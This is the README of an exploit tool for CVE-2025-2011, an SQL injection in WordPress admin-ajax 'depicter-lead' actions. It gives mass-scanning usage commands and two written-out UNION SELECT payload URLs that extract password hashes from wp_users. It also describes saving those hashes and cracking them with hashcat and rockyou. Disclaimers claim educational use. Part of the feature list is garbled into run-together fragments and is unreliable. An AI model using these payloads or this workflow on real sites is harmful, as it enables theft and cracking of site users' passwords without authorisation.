
Exploit for CVE-2025-2011
By: X3RX3S But Proudly ripped by Ash Wesker that GPT'd my code with his banner ;) see here ---> https://github.com/Ashwesker/Blackash-CVE-2025-2011 You can even see my handle in 'his' code -_-'
Purpose: A proof-of-concept tool to test for an SQL injection vulnerability (CVE-2025-2011) against WordPress sites.
Disclaimer: Use only on systems you own or have explicit written permission to test. Unauthorized testing is illegal and unethical.

-p 1 or -p 2)$2a$, $2b$, $2y$) hash detection, including $wp$-prefixed variantsresults_<hostname>.txt-m 3200) with a prompt-u) or multiple targets via file (-f)requestscoloramaInstall dependencies:
pip install requests colorama
Optional (for cracking):
hashcat installed and available in your PATH (Default is /usr/share/wordlists/rockyou.txt)/usr/share/wordlists/rockyou.txtMake the script executable (optional):
chmod +x CVE-2025-2011.py
Single target (default payload 1):
python3 CVE-2025-2011.py -u https://example.com
Single target (payload 2):
python3 CVE-2025-2011.py -u https://example.com -p 2
Multiple targets from file (one URL per line):
python3 CVE-2025-2011.py -f targets.txt
For each tested host the script saves a result file:
results_<hostname>.txt
If bcrypt hashes are found, they are saved to hashes.txt and you will be prompted to crack them with Hashcat. Example Hashcat command used by the script:
hashcat -m 3200 hashes.txt /usr/share/wordlists/rockyou.txt
Note: bcrypt is slow by design. Cracking may take a very long time and require GPUs.
/wp-admin/admin-ajax.php?action=depicter-lead-index&s=test%27)+UNION+select+user_pass,2,3,4,5+FROM+wp_users--+x
/wp-admin/admin-ajax.php?action=depicter-lead-list&s=test%27))+table_name+UNION+select+user_pass+FROM+wp_users--+x
This tool is provided for educational and defensive purposes only. Do not use it against systems where you do not have explicit permission. The author and distributor accept no responsibility for misuse. Always obtain written authorization before running tests against targets you do not own.
run_hashcat function in the script to point to your preferred list.